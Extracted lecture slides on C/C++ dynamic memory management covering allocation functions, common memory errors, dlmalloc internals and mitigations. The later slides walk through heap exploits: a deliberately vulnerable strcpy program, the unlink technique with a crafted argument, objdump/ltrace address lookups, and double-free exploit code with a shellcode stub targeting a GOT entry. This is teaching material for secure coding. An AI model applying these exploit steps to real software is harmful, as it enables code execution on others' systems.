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Dynamic Memory Management

Memory allocation in C

▪ calloc() 

▪ malloc() 

▪ realloc()
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Deallocated using the free() function 

Memory allocation in C++ uses the new operator

Deallocated using the delete operator

May also use C memory allocation



Memory Management Functions 1

malloc(size_t size); 

▪ Allocates size bytes and returns a pointer to the 
allocated memory. 

▪ The memory is not cleared.

free(void * p); 
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free(void * p); 

▪ Frees the memory space referenced by p, which must 
have been returned by a previous call to malloc(), 
calloc(), or realloc(). 

▪ If free(p) has already been called before, undefined 
behavior occurs. 

▪ If p is NULL, no operation is performed.



Memory Management Functions 2

realloc(void *p, size_t size);

▪ Changes the size of the memory block pointed to by p to 

size bytes. 

▪ The contents are unchanged to the minimum of the old 

and new sizes. 

▪ Newly allocated memory is uninitialized. 
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▪ Newly allocated memory is uninitialized. 

▪ If p is NULL, the call is equivalent to malloc(size). 

▪ if size is equal to zero, the call is equivalent to free(p). 

▪ Unless p is NULL, it must have been returned by an 

earlier call to malloc(), calloc(), or realloc().



Memory Management Functions 3

calloc(size_t nmemb, size_t size);

▪ Allocates memory for an array of nmemb

elements of size bytes each and returns a 

pointer to the allocated memory. 

▪ The memory is set to zero.
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▪ The memory is set to zero.



Memory Managers

Manage both allocated and deallocated memory.

Run as part of the client process.

Use a variant of the dynamic storage allocation 

algorithm described by Knuth in the Art of 

Computer Programming.
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Computer Programming.

Memory allocated for the client process and 

memory allocated for internal use is all within the 

addressable memory space of the client process.
[Knuth 97] D. E. Knuth. Fundamental Algorithms, volume 1 of The Art 
of Computer Programming, chapter 2, pages 438–442. Addison-
Wesley, 3rd edition, 1997. (First copyrighted 1973, 1968)



Boundary Tags

Chunks of memory contain size information fields 

both before and after the chunk, allowing 

▪ two bordering unused chunks to be coalesced into 

one larger chunk (minimizing fragmentation)

▪ all chunks to be traversed from any known chunk in 
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▪ all chunks to be traversed from any known chunk in 

either direction [Knuth 97]



Dynamic Storage Allocation 1

Best-fit method - An area with m bytes is 

selected, where m is the smallest available chunk 

of contiguous memory equal to or larger than n. 

First-fit method - Returns the first chunk 

encountered containing n or more bytes.
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encountered containing n or more bytes.

To prevent fragmentation, a memory manager 

may allocate chunks that are larger than the 

requested size if the space remaining is too small 

to be useful.



Dynamic Storage Allocation 2

Memory managers return chunks to the available 

space list as soon as they become free and 

consolidate adjacent areas. 

The boundary tags are used to consolidate 

adjoining chunks of free memory so that 
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adjoining chunks of free memory so that 

fragmentation is avoided. 
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Memory Management Errors

Initialization errors 

Failing to check return values 

Writing to already freed memory 

Freeing the same memory multiple times 
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Improperly paired memory management functions

Failure to distinguish scalars and arrays

Improper use of allocation functions



Initialization Errors

Most C programs use malloc() to allocate 

blocks of memory. 

A common error is assuming that malloc()

zeros memory. 

Initializing large blocks of memory can impact 
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Initializing large blocks of memory can impact 

performance and is not always necessary. 

Programmers have to initialize memory using 
memset() or by calling calloc(), which zeros 

the memory. 



Initialization Error

/* return y = Ax */

int *matvec(int **A, int *x, int n) { 

int *y = malloc(n * sizeof(int));

int i, j;
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for (i = 0; i < n; i++)

for (j = 0; j < n; j++)

y[i] += A[i][j] * x[j];

return y;

}
Incorrectly assumes y[i] is 

initialized to zero



“Sun tarball” Vulnerability

tar is used to create archival files on UNIX systems.

The tar program on Solaris 2.0 systems inexplicably 
included fragments of the /etc/passwd file (an example of 
an information leak that could impact system security).

▪ The tar utility failed to initialize the dynamically allocated 
memory used to read data from the disk. 

15

▪ Before allocating this block, the tar utility invoked a 
system call to look up user information from the 
/etc/passwd file. 

▪ The memory chunk was then recycled and returned to 
the tar utility as the read buffer. 

Sun fixed this problem by replacing the call to malloc()
with a call to calloc() in the tar utility.



Failing to Check Return Values

Memory is a limited resource and can be exhausted. 

Memory allocation functions report status back to the 
caller. 

▪ malloc() function returns a null pointer

▪ VirtualAlloc() returns NULL

▪ Microsoft Foundation Class Library (MFC) operator new 
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▪ Microsoft Foundation Class Library (MFC) operator new 
throws CMemoryException *

▪ HeapAlloc() may return NULL or raise a structured 
exception 

The application programmer needs to

▪ determine when an error has occurred 

▪ handle the error in an appropriate manner



Checking malloc() Status

int *i_ptr;

i_ptr = malloc(sizeof(int)*nelem);

if (i_ptr != NULL) {

i_ptr[i] = i;

}

Take care the 
multiplication 
does not result 
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}

else {

/* Recover from error */

}

does not result 
in an integer 
overflow



Recovery Plan

When memory cannot be allocated, a consistent 

recovery plan is required.

PhkMalloc provides an X option that instructs the 
memory allocator to abort() the program with a 

diagnostic message on standard error rather than 
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diagnostic message on standard error rather than 

return failure. 

This option can be set at compile time by 

including in the source:

extern char *malloc_options;

malloc_options = "X";



C++ Allocation Failure Recovery

The standard behavior of the new operator in 

C++ is to throw a bad_alloc exception in the 

event of allocation failure. 

T* p1 = new T; // throws bad_alloc.

T* p2 = new(nothrow) T; // returns 0 
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T* p2 = new(nothrow) T; // returns 0 

Using the standard form of the new operator 

allows a programmer to encapsulate error-

handling code for allocation. 

The result is cleaner, clearer, and generally more 

efficient design. 



new operator Exception Handling

try {

int *pn = new int;

int *pi = new int(5); 

double *pd = new double(55.9); 

int *buf = new int[10]; 
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int *buf = new int[10]; 

. . .

}

catch (bad_alloc) {

// handle failure from new

}



Incorrect use of new Operator

int *ip = new int;

if (ip) { // always true

...

}
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else {

// never executes

}



C++ and new_handlers

C++ allows a callback, a new handler, to be set 
with std::set_new_handler.

The callback must 

▪ free up some memory,

▪ abort,
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▪ abort,

▪ exit, or

▪ throw an exception of type std::bad_alloc.

The new handler must be of the standard type 
new_handler:

typedef void (*new_handler)();



new_handlers in C++

operator new will call the new handler if it is 

unable to allocate memory.

If the new handler returns, operator new will 

re-attempt the allocation.

extern void myNewHandler();
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extern void myNewHandler();

void someFunc() {
new_handler oldHandler

= set_new_handler( myNewHandler );
// allocate some memory…
// restore previous new handler
set_new_handler( oldHandler );

}



Referencing Freed Memory 1

Once memory has been freed, it is still possible to read or 
write from its location if the memory pointer has not been 
set to null. 

An example of this programming error:

for (p = head; p != NULL; p = p->next) 

free(p);
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free(p);

The correct way to perform this operation is to save the 
required pointer before freeing: 

for (p = head; p != NULL; p = q) {

q = p->next;

free(p);

}



Referencing Freed Memory 2

Reading from already freed memory usually 

succeeds without a memory fault, because freed 

memory is recycled by the memory manager.

There is no guarantee that the contents of the 

memory has not been altered. 
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memory has not been altered. 

While the memory is usually not erased by a call 
to free(), memory managers may use some of 

the space to manage free or unallocated memory. 

If the memory chunk has been reallocated, the 

entire contents may have been replaced. 



Referencing Freed Memory 3

These errors may go undetected, because the 

contents of memory may be preserved during 

testing but later modified during operation.

Writing to a memory location that has already 

been freed is unlikely to result in a memory fault 
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been freed is unlikely to result in a memory fault 

but could result in a number of serious problems. 

If the memory has been reallocated, a 

programmer may overwrite memory believing that 

a memory chunk is dedicated to a particular 

variable when in reality it is being shared. 



Referencing Freed Memory 4

In this case, the variable contains whatever data 

was written last.

If the memory has not been reallocated, writing to 

a free chunk may overwrite and corrupt the data 

structures used by the memory manager. 
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structures used by the memory manager. 

This can be used as the basis for an exploit when 

the data being written is controlled by an attacker.



Freeing Memory Multiple Times 

Freeing the same memory chunk more than once 

can corrupt memory manager data structures in a 

manner that is not immediately apparent. 

x = malloc(n * sizeof(int));

/* manipulate x */

28

/* manipulate x */

free(x);

y = malloc(n * sizeof(int));

/* manipulate y */

free(x);



Dueling Data Structures 1

a

If a program traverses each linked list freeing each memory 
chunk pointer, several memory chunks will be freed twice. 

29

b

If the program only traverses a single list (and then frees 
both list structures), memory is leaked.



Dueling Data Structures 2

It is (generally) less dangerous to leak memory 

than to free the same memory twice. 

This problem can also happen when a chunk of 

memory is freed as a result of error processing 

but then freed again in the normal course of 
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but then freed again in the normal course of 

events.



Leaking Containers in C++

In C++, standard containers that contain pointers 

do not delete the objects to which the pointers 

refer.

vector<Shape *> pic;
pic.push_back( new Circle );
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pic.push_back( new Circle );
pic.push_back( new Triangle );
pic.push_back( new Square );
// leaks when pic goes out of scope



Plugging Container Leaks

It’s necessary to delete the container’s elements 

before the container is destroyed.

template <class Container>
inline void
releaseItems( Container &c ) {

typename Container::iterator i;
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typename Container::iterator i;
for( i = c.begin(); i != c.end(); ++i )

delete *i;
}
…
vector<Shape *> pic;
…
releaseItems( pic );



Dueling Containers in C++

vector<Shape *> pic;

pic.push_back( new Circle );

pic.push_back( new Triangle );

pic.push_back( new Square );

…
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…
list<Shape *> picture;
picture.push_back( pic[2] );
picture.push_back( new Triangle );
picture.push_back( pic[0] );
…
releaseElems( picture );
releaseElems( pic ); // oops!



Counted Pointer Elements

It’s safer and increasingly common to use 

reference counted smart pointers as container 

elements.

typedef std::tr1::shared_ptr<Shape> SP;
…
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…
vector<SP> pic;
pic.push_back( SP(new Circle) );
pic.push_back( SP(new Triangle) );
pic.push_back( SP(new Square) );
// no cleanup necessary...



Smart Pointers in C++

A smart pointer is a class type that’s overloaded the ->
and * operators to act like a pointer.

Smart pointers are often a safer choice than raw pointers 
because they can 

▪ provide augmented behavior not present in raw pointers 
such as

– garbage collection
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– garbage collection

– checking for null

▪ prevent use of raw pointer operations that are 
inappropriate or dangerous in a particular context

– pointer arithmetic

– pointer copying

– etc.



Reference Counted Smart Pointers

Reference counted smart pointers maintain a 

reference count for the object to which they refer.

When the reference count goes to zero, the object 

is garbage-collected.

The most commonly-used such smart pointer is 
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The most commonly-used such smart pointer is 
the soon-to-be-standard shared_ptr of the TR1 

extensions to the C++ standard library.

Additionally, there are many ad hoc reference 

counted smart pointers available.



Smart Pointer Elements

The use of smart pointers avoids complexity.

vector<SP> pic;

pic.push_back( new Circle );

pic.push_back( new Triangle );

pic.push_back( new Square );
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pic.push_back( new Square );

…
list<SP> picture;
picture.push_back( pic[2] );
picture.push_back( new Triangle );
picture.push_back( pic[0] );
…
// no cleanup necessary!



Counted Pointers as Elements

aCircle

aTriangle

2

1

pic picture
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aTriangle

aSquare

1

1

2



Improperly Paired Functions

Memory management functions must be properly 

paired. 

If new is used to obtain storage, delete should 

be used to free it. 

If malloc() is used to obtain storage, free()

39

If malloc() is used to obtain storage, free()

should be used to free it. 

Using free() with new or malloc() with 

delete is a bad practice and can be a security 

vulnerability.



Improperly Paired Functions Example

int *ip = new int(12);

. . . 

free(ip); // wrong!

ip = static_cast<int *>malloc(sizeof(int));
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ip = static_cast<int *>malloc(sizeof(int));

*ip = 12;

. . . 

delete ip; // wrong!



Scalars and Arrays

The new and delete operators are used to 

allocate and deallocate scalars:

Widget *w = new Widget(arg);

delete w;

The new [] and delete [] operators are used 
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The new [] and delete [] operators are used 

to allocate and free arrays:

w = new Widget[n];

delete [] w;



Scalars and Arrays

int *ip = new int[1];
. . . 

delete ip; // error!
. . . 

ip = new int(12);
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ip = new int(12);
. . . 

delete [] ip; // error!

See: 
http://taossa.com/index.php/2007/01/03/attacki
ng-delete-and-delete-in-c/#more-52



new and operator new in C++

new is a built-in operator that calls a function 

named operator new.  

After obtaining memory from operator new, the 

new operator initializes the raw memory to create 

an object.

43

an object.

A similar relationship exists between the

▪ delete operator and the function operator 

delete

▪ new[] operator and operator new[]

▪ delete[] operator and operator delete[]



Constructor and Destructor Mismatch 

Raw memory may be allocated with a direct call 
to operator new, but no constructor is called.

It’s important not to invoke a destructor on raw 

memory.
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string *sp = static_cast<string *>

(operator new(sizeof(string));

…

delete sp; // error!



Mismatch With Member New

The functions operator new and operator 

delete may be defined as member functions.

They’re static member functions that hide 

inherited or namespace-level functions with the 

same name.
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same name.

As with other memory management functions, it’s 

important to keep them properly paired.



Member new and delete

class B {
public:
void *operator new( size_t );
// no operator delete!
…

};
…
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…
B *bp = new B; // use B::operator new
…
delete bp; // use ::operator delete!



malloc(0)

Zero-length allocations using the malloc() can 

lead to errors. 

▪ Behavior is implementation-defined

▪ Common behaviors are to

– return a zero-length buffer (e.g., MS VS)
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– return a zero-length buffer (e.g., MS VS)

– return a null pointer

The safest and most portable solution is to ensure 

zero-length allocation requests are not made.



realloc(0)

The realloc() function deallocates the old 

object and returns a pointer to a new object of a 

specified size. 

If memory for the new object cannot be allocated, 
the realloc() function does not deallocate the 
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the realloc() function does not deallocate the 

old object and its value is unchanged. 

If the realloc() function returns a null pointer, 

failing to free the original memory will result in a 

memory leak. 



Standard Idiom Using realloc()

char *p2; 

char *p = malloc(100); 

... 

if ((p2=realloc(p, nsize)) == NULL) { 
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if (p) free(p); 

p = NULL; 

return NULL; 

} 

p = p2; 

A return value of 
NULL indicates that 

realloc() did not 

free the memory 
referenced by p



Re-Allocating Zero Bytes

If the value of nsize in this example is 0, the 

standard allows the option of either returning a 

null pointer or returning a pointer to an invalid

(e.g., zero-length) object. 

The realloc() function for 
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The realloc() function for 

▪ gcc 3.4.6 with libc 2.3.4 returns a non-null 

pointer to a zero-sized object (the same as 
malloc(0)) 

▪ both Microsoft Visual Studio Version 7.1 and gcc 

version 4.1.0 returns a null pointer 



Standard Idiom Using realloc()

char *p2; 

char *p = malloc(100); 

... 

if ((p2=realloc(p, 0)) == NULL) { 
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if (p) free(p); 

p = NULL; 

return NULL; 

} 

p = p2; 

In cases where realloc()

frees the memory but returns a 

null pointer, execution of the 

code in this example results in 

a double-free. 



Don’t Allocate Zero Bytes

char *p2; 

char *p = malloc(100); 

... 

if ((nsize == 0) || 

(p2=realloc(p, nsize)) == NULL) { 
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(p2=realloc(p, nsize)) == NULL) { 

if (p) free(p); 

p = NULL; 

return NULL; 

} 

p = p2; 



alloca()

Allocates memory in the stack frame of the caller. 

This memory is automatically freed when the 
function that called alloca() returns. 

Returns a pointer to the beginning of the allocated 

space.
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space.

Implemented as an in-line function consisting of a 

single instruction to adjust the stack pointer. 

Does not return a null error and can make 

allocations that exceed the bounds of the stack. 



alloca()

Programmers may become confused because 
having to free() calls to malloc() but not to 

alloca(). 

Calling free() on a pointer not obtained by 

calling calloc() or malloc() is a serious error.
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calling calloc() or malloc() is a serious error.

The use of alloca() is discouraged. 

It should not be used with large or unbounded 

allocations.



Placement new in C++

An overloaded version of operator new, 

“placement” new, allows an object to be created 

at an arbitrary memory location.

Because no memory is actually allocated by 
placement new, the delete operator should 
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placement new, the delete operator should 

not be used to reclaim the memory.

The destructor for the object should be called 

directly.



Use of Placement new

void const *addr

= reinterpret_cast<void *>(0x00FE0000);

Register *rp = new ( addr ) Register;

…

delete rp; // error!

…
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…

rp = new ( addr ) Register;

…

rp->~Register(); // correct
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Doug Lea’s Memory Allocator

The GNU C library and most versions of Linux are 

based on Doug Lea’s malloc (dlmalloc) as the 

default native version of malloc. 

Doug Lea releases dlmalloc independently and 

others adapt it for use as the GNU libc allocator. 
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others adapt it for use as the GNU libc allocator. 

▪ Malloc manages the heap and provides standard 

memory management.

▪ In dlmalloc, memory chunks are either allocated 

to a process or are free.



dlmalloc Memory Management 1

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

Unused space

P

Size or last 4 bytes of prev.

Size

User data

P
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Unused space

SizeLast 4 bytes of user data

Allocated chunk Free chunk

The first four bytes of allocated 
chunks contain the last four bytes of 
user data of the previous chunk.

The first four bytes of free chunks 
contain the size of the previous 
chunk in the list.



Free Chunks

Free chunks are organized into double-linked

lists. 

Contain forward and back pointers to the next and 

previous chunks in the list to which it belongs. 

These pointers occupy the same eight bytes of 
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These pointers occupy the same eight bytes of 

memory as user data in an allocated chunk. 

The chunk size is stored in the last four bytes of 

the free chunk, enabling adjacent free chunks to 

be consolidated to avoid fragmentation of 

memory.



PREV_INUSE Bit

Allocated and free chunks make use of a 
PREV_INUSE bit to indicate whether the previous 
chunk is allocated or not. 

▪ PREV_INUSE bit is stored in the low-order bit of 
the chunk size. 

▪ If the PREV_INUSE bit is clear, the four bytes 
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▪ If the PREV_INUSE bit is clear, the four bytes 
before the current chunk size contain the size of 
the previous chunk and can be used to find the 
front of that chunk. 

Because chunk sizes are always two-byte 
multiples, the size of a chunk is always even and 
the low-order bit is unused.



dlmalloc Free Lists

Free chunks are arranged in circular double-

linked lists or bins. 

Each double-linked list has a head that contains 

forward and back pointers to the first and last 

chunks in the list.
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chunks in the list.

The forward pointer in the last chunk of the list 

and the back pointer of the first chunk of the list 

both point to the head element. 

When the list is empty, the head’s pointers 

reference the head itself.



Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

Unused space

Size

1

Size or last 4 bytes of prev.

Size

Forward pointer to next

1

:

Forward pointer to first chunk in list 

Back pointer to last chunk in list 

head 
element

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

Unused space

Size

1

Size or last 4 bytes of prev.

Size

Forward pointer to next

1

:

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

Unused space

Size

1

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

Unused space

Size

1

Size or last 4 bytes of prev.

Size

Forward pointer to next

1

Size or last 4 bytes of prev.

Size

Forward pointer to next

1

:

Forward pointer to first chunk in list 

Back pointer to last chunk in list 

Forward pointer to first chunk in list 

Back pointer to last chunk in list 

head 
element
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Free List 
Double-linked 
Structure

Forward pointer to next

Back pointer to prev.

Unused space

Size

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

:

1

:

Forward pointer to next

Back pointer to prev.

Unused space

Size

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

:

1

:

Forward pointer to next

Back pointer to prev.

Unused space

Size

Forward pointer to next

Back pointer to prev.

Unused space

Size

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

:

1

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

:

1

:



Bins

Each bin holds chunks of a particular size so that a 
correctly-sized chunk can be found quickly. 

For smaller sizes, the bins contain chunks of one size. 

As the size increases, the range of sizes in a bin also 
increases.
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For bins with different sizes, chunks are arranged in 
descending size order. 

There is a bin for recently freed chunks that acts like a 
cache. 

Chunks in this bin are given one chance to be reallocated 
before being moved to the regular bins.



dlmalloc

Memory chunks are consolidated during the 
free() operation. 

If the chunk located immediately before the chunk 

to be freed is free, it is taken off its double-linked 

list and consolidated with the chunk being freed. 
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list and consolidated with the chunk being freed. 

If the chunk located immediately after the chunk 

to be freed is free, it is taken off its double-linked 

list and consolidated with the chunk being freed. 

The resulting consolidated chunk is placed in the 

appropriate bin.
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Buffer Overflows

Dynamically allocated memory is vulnerable to 

buffer overflows.

Exploiting a buffer overflow in the heap is 

generally considered more difficult than smashing 

the stack.
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the stack.

Buffer overflows can be used to corrupt data 

structures used by the memory manager to 

execute arbitrary code. 



Unlink Technique 

Introduced by Solar Designer 

Used against versions of Netscape browsers, 
traceroute, and slocate that used dlmalloc

Used to exploit a buffer overflow to manipulate 

the boundary tags on chunks of memory to trick 
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the boundary tags on chunks of memory to trick 

the unlink macro into writing four bytes of data to 

an arbitrary location 



Unlink Macro

/* Take a chunk off a bin list */ 

#define unlink(P, BK, FD) { \

FD = P->fd; \

BK = P->bk; \
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FD->bk = BK; \

BK->fd = FD; \

}



Unlink Example
Size of previous chunk, if allocated

Size of chunk, in bytes

Forward pointer to next chunk in list 

Back pointer to previous chunk in list 

Unused space (may be 0 bytes long)

Size of chunk

1

Size of previous chunk, if allocated

Size of chunk, in bytes 0

FD = P->fd; 

BK = P->bk;  

FD->bk = BK;  P->
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BK->fd = FD;
Size of chunk, in bytes

Forward pointer to next chunk in list 

Back pointer to previous chunk in list 

Unused space (may be 0 bytes long)

Size of chunk

0

Size of previous chunk, if allocated

Size of chunk, in bytes

Forward pointer to next chunk in list 

Back pointer to previous chunk in list 

:

0



Vulnerable Code

int main(int argc, char *argv[]) {

char *first, *second, *third;

first = malloc(666);

second = malloc(12);

third = malloc(12);

strcpy(first, argv[1]); 

Unbounded 
strcpy()

operation is 
susceptible to a 
buffer overflow.
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strcpy(first, argv[1]); 

free(first); 

free(second); 

free(third); 

return(0); 

}

free() deallocates the 1st memory chunk.

If the 2nd chunk is unallocated, free() attempts 

to consolidate it with the 1st chunk.

To determine if the 2nd chunk is unallocated, free() checks 
the PREV_INUSE bit of the 3rd chunk.



Exploit

Because the vulnerable buffer is 
allocated in the heap and not on the 
stack, the attacker cannot simply 
overwrite the return address to exploit 
the vulnerability and execute arbitrary 
code.

Size of previous chunk, if allocated

Size of chunk, in bytes

666 bytes

Size of chunk

P

Size of previous chunk, if allocated

Size of chunk, in bytes P
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code.

The attacker can overwrite the 
boundary tag associated with the 2nd

chunk of memory, since this 
boundary tag is located immediately 
after the end of the first chunk. 

Size of chunk, in bytes

12 bytes

Size of chunk

P



Malicious Argument

4 bytes 4 bytes

dummy dummy shellcode

strlen(shellcode)

First Chunk
680 bytes

B B B B B B B………………………………………

Second Chunk

fd bk

… fill

How is this size 
determined?
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Second Chunk

4 bytes 4 bytes

even int -4 \0

prev

size

size fd

fp-12 addr

bk

4 bytes 4 bytes

… 

Overwrites the previous size field, sizeof chunk, and forward and 
backward pointers in the second chunk—altering the behavior of 
the call to free().



Size of a Chunk 1

When a user requests req bytes of dynamic 

memory (e.g., via malloc() or realloc()), 

dlmalloc calls request2size() to convert req

to a usable size nb (the effective size of the 

allocated chunk of memory, including overhead). 
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The request2size() macro could just add 8 

bytes (the size of the prev_size and size fields 

stored in front of the allocated chunk) to req: 

#define 

request2size(req,nb)(nb=req+2*SIZE_SZ)



Size of a Chunk 2

This version of request2size() does not take into 
account that the prev_size field of the next contiguous 
chunk can hold user data (because the chunk of memory 
located immediately before is allocated). 

The request2size() macro should subtract 4 bytes 
(the size of this trailing prev_size field) from the 
previous result: 
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previous result: 

#define 
request2size(req,nb)(nb=req+SIZE_SZ)

This request2size() macro is incorrect, because the 
size of a chunk is always a multiple of 8 bytes. 

request2size() therefore returns the first multiple of 8 
bytes greater than or equal to req+SIZE_SZ.



Size of a Chunk 3

The actual macro adds a test for MINSIZE

and integer overflow detection:
#define request2size(req, nb) \

((nb = (req) + (SIZE_SZ + MALLOC_ALIGN_MASK)),\

((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \
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((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \

? (__set_errno (ENOMEM), 1) \

: ((nb < (MINSIZE + MALLOC_ALIGN_MASK) \

? (nb=MINSIZE):(nb &= ~MALLOC_ALIGN_MASK)), 0))) 



Size of 1st Chunk

The size of the memory area reserved for the user within 
the 1st chunk request2size(666) = 672 (8 byte 

alignment).

Because the chunk of memory located immediately 
before is allocated, the 4 bytes corresponding to the 
prev_size field are not used and can hold user data.
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prev_size field are not used and can hold user data.

We also need to add 3*4 bytes for boundary tags:

▪ 672 – 4 = 668 + 3*4 = 680 bytes

If the size of the 1st argument passed to the vulnerable 
program is greater than 680 bytes, the size, fd, and bk

fields of the boundary tag of the 2nd chunk can be 
overwritten.



1st Call to free()

When the 1st chunk is freed, the 

2nd chunk is processed by 
unlink(). 

The 2nd chunk is free if the 
PREV_INUSE bit of the 3rd

Size of previous chunk, if allocated

Size of chunk = 666

666 bytes

Size of chunk = 666

P

Size of previous chunk = 666

Size of chunk = 12 P

1st Chunk
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PREV_INUSE bit of the 3

contiguous chunk is clear. 
Size of chunk = 12

12 bytes

Size of chunk  = 12

P

Size of previous chunk = 12

Size of chunk, in bytes

?? bytes

Size of chunk

1 However, the P bit is set 

because the 2nd chunk is 

allocated.

2nd Chunk

3rd Chunk



Tricking dlmalloc 1

Dlmalloc uses the size 
field to compute the 
address of the next 
contiguous chunk.

An attacker can trick 

Size of previous chunk, if allocated

Size of chunk = 666

666 bytes

Size of chunk = 666

P

Size of previous chunk = 666

1st chunk

2nd chunk
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An attacker can trick 
dlmalloc into reading a 
fake PREV_INUSE bit 

because they control the 
size field of the 2nd chunk.

Size of previous chunk = 666

Size of chunk = 12

12 bytes

Size of chunk  = 12

P

Size of previous chunk = 12

Size of chunk, in bytes

?? bytes

Size of chunk

1

3rd chunk



Tricking dlmalloc 2

Size of previous chunk, if allocated

Size of chunk = 666

666 bytes

Size of chunk = 666

P

Fake Size field

Size of chunk = 12

12 bytes

0

Size of chunk = -4

1st chunk

The size field in the 2nd

chunk is overwritten with 

Attacker clears the 
PREV_INUSE bit dlmalloc believes 

the start of the 
next contiguous 
chunk is 4 bytes 
before the start 
of the 2nd chunk
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Size of chunk  = 12

Size of previous chunk = 12

Size of chunk, in bytes

?? bytes

Size of chunk

1

Size of previous chunk = 12

Size of chunk, in bytes

?? bytes

Size of chunk

1

3rd chunk

chunk is overwritten with 
the value -4, so when 
free() calculates the 

location of the 3rd chunk 
by adding the size field to 
the starting address of the 
2nd chunk, it subtracts 4 
insteadThe PREV_INUSE bit is clear, tricking dlmalloc into

believing the 2nd chunk is unallocated—so free()

invokes the unlink() macro to consolidate



Constants

$ objdump -R vulnerable | grep free 

0804951c R_386_JUMP_SLOT free 

$ ltrace ./vulnerable 2>&1 | grep 666 

malloc(666) = 0x080495e8 
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#define FUNCTION_POINTER ( 0x0804951c ) 

#define CODE_ADDRESS ( 0x080495e8 + 2*4 ) 



Execution of unlink() Macro

Size of previous chunk, if allocated

-4

fd = FUNCTION_POINTER - 12 

bk = CODE_ADDRESS

0

FD = P->fd  

= FUNCTION_POINTER - 12  

BK = P->bk = CODE_ADDRESS

FD->bk = BK overwrites the 

12 is the offset of the bk

field within a boundary tag
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remaining space

Size of chunk

FD->bk = BK overwrites the 
function pointer for free() with 
the address of the shellcode

In this example, the call to free the 2nd chunk of the 

vulnerable program executes the shellcode.



The unlink() Technique

The unlink() macro is manipulated to write four 

bytes of data supplied by an attacker to a four-

byte address also supplied by the attacker.

Once an attacker can write four bytes of data to 

an arbitrary address, it is easy to execute arbitrary 
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an arbitrary address, it is easy to execute arbitrary 

code with the permissions of the vulnerable 

program. 



Unlink Technique Summary

Exploitation of a buffer overflow in the heap is not 

particularly difficult. 

Unlink is the “backend” of a vulnerability.  The 

front end is generally a buffer overflow.

The design of dlmalloc (and the Knuth algorithm
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The design of dlmalloc (and the Knuth algorithm

from which many such designs are derived) is 

deficient from a security perspective.
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Double-Free Vulnerabilities 

This vulnerability arises from freeing the same 

chunk of memory twice, without it being 

reallocated in between. 

For a double-free exploit to be successful, two 

conditions must be met: 
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conditions must be met: 

▪ The chunk to be freed must be isolated in 

memory.

▪ The bin into which the chunk is to be placed 

must be empty.



Double-Free Exploit

/* definitions used for exploit */

static char *GOT_LOCATION = (char *)0x0804c98c;

static char shellcode[] =

"\xeb\x0cjump12chars_" 

"\x90\x90\x90\x90\x90\x90\x90\x90";

char *first, *second, *third, *fourth;

Address of the 
strcpy() 

function.
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char *first, *second, *third, *fourth;

char *fifth, *sixth, *seventh;

char *shellcode_loc = malloc(sizeof(shellcode));

strcpy(shellcode_loc, shellcode);
first = malloc(256);

The target of this exploit is 
the 1st chunk allocated.



Empty Bin and Allocated Chunk

Forward pointer to first chunk in list 

Back pointer to last chunk in list 

bin->
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Size of previous chunk, if unallocated

Size of chunk, in bytes

User data
: 

first ->

P

Because the bin is 
empty, the forward 
and back pointers 
are self-referential.



Double-Free Exploit 1

/* continued from previous slide */

second = malloc(256);

third = malloc(256);

fourth = malloc(256);

free(first);

free(third);

When the 1st chunk is freed, it 
is put into the cache bin.
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free(third);

fifth = malloc(128); 

is put into the cache bin.

Allocating the 2nd and 4th

chunks prevents the 3rd chunk 
from being consolidated.Allocating the 5th chunk causes 

memory to be split off from the 3rd

chunk and, as a side effect, this 
results in the 1st chunk being 
moved to a regular bin.



Bin with Single Free Chunk

Forward pointer to first chunk in list 

Back pointer to last chunk in list 

bin - >
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Size of previous chunk, if unallocated

Size of chunk, in bytes

Forward pointer to next chunk in list 

Back pointer to previous chunk in list 

Unused space (may be 0 bytes long)

Size of chunk

first - >

P

Expected behavior; 
double-linked list 
containing the free 
chunk



Double-Free Exploit 2

/* continued from previous slide */

free(first);

Memory is configured so that 
freeing the 1st chunk a 2nd

time sets up the double-free 
vulnerability.
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vulnerability.



Corrupted Data Structures After 
Second Call of free()

Forward pointer to first chunk in list 

Back pointer to last chunk in list 

bin - >
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Size of previous chunk, if unallocated

Size of chunk, in bytes

Forward pointer to next chunk in list 

Back pointer to previous chunk in list 

Unused space (may be 0 bytes long)

Size of chunk

first - >

P
After the same chunk is 
added a second time, the 
chunks forward and 
backward pointers 
become self-referential



Double-Free Exploit 3

/* continued from previous slide */

sixth = malloc(256);

When the 6th chunk is allocated, 
malloc() returns a pointer to the 
same chunk referenced by first.
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sixth = malloc(256);

*((char **)(sixth+0)) = GOT_LOCATION - 12;

*((char **)(sixth+4)) = shellcode_location;

The GOT address of the strcpy()
function (minus 12) and the shellcode 
location are copied into this memory.



Double-Free Exploit 4

seventh = malloc(256); 

strcpy(fifth, "stuff"); 

When the 7th chunk is 
allocated, the unlink()
macro is called to unlink 
the chunk from the free list.

The unlink() macro 

The same memory chunk is
allocated yet again as the
7th chunk.
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The unlink() macro 
copies the address of the 
shellcode to the address of 
the strcpy() function in 
the global offset table.

When strcpy() is called, 

control is transferred to the 

shell code. 



Double-Free Shellcode

The shellcode jumps over the first 12 bytes, 

because some of this memory is overwritten by 
the unlink() macro.

static char shellcode[] =

"\xeb\x0cjump12chars_" 
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"\xeb\x0cjump12chars_" 

"\x90\x90\x90\x90\x90\x90\x90\x90";
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Mitigation Strategies

null pointers

Consistent Memory Management Conventions

Resource Acquisition is Initialization 

Smart Pointers in C++ 

Exception-Safe Code in C++ 
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Exception-Safe Code in C++ 

Heap Integrity Detection

Phkmalloc

Randomization

Guard Pages

Runtime Analysis Tools



null pointers

A technique to reduce vulnerabilities in C and C++ 
programs is to set the pointer to null after the call to 
free() has completed. 

Dangling pointers (pointers to already freed memory) can 
result in writing to freed memory and double-free 
vulnerabilities. 
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vulnerabilities. 

Any attempt to dereference the pointer results in a fault 
(increasing the likelihood that the error is detected during 
implementation and test). 

If the pointer is set to null, the memory can be freed 
multiple times without consequence.



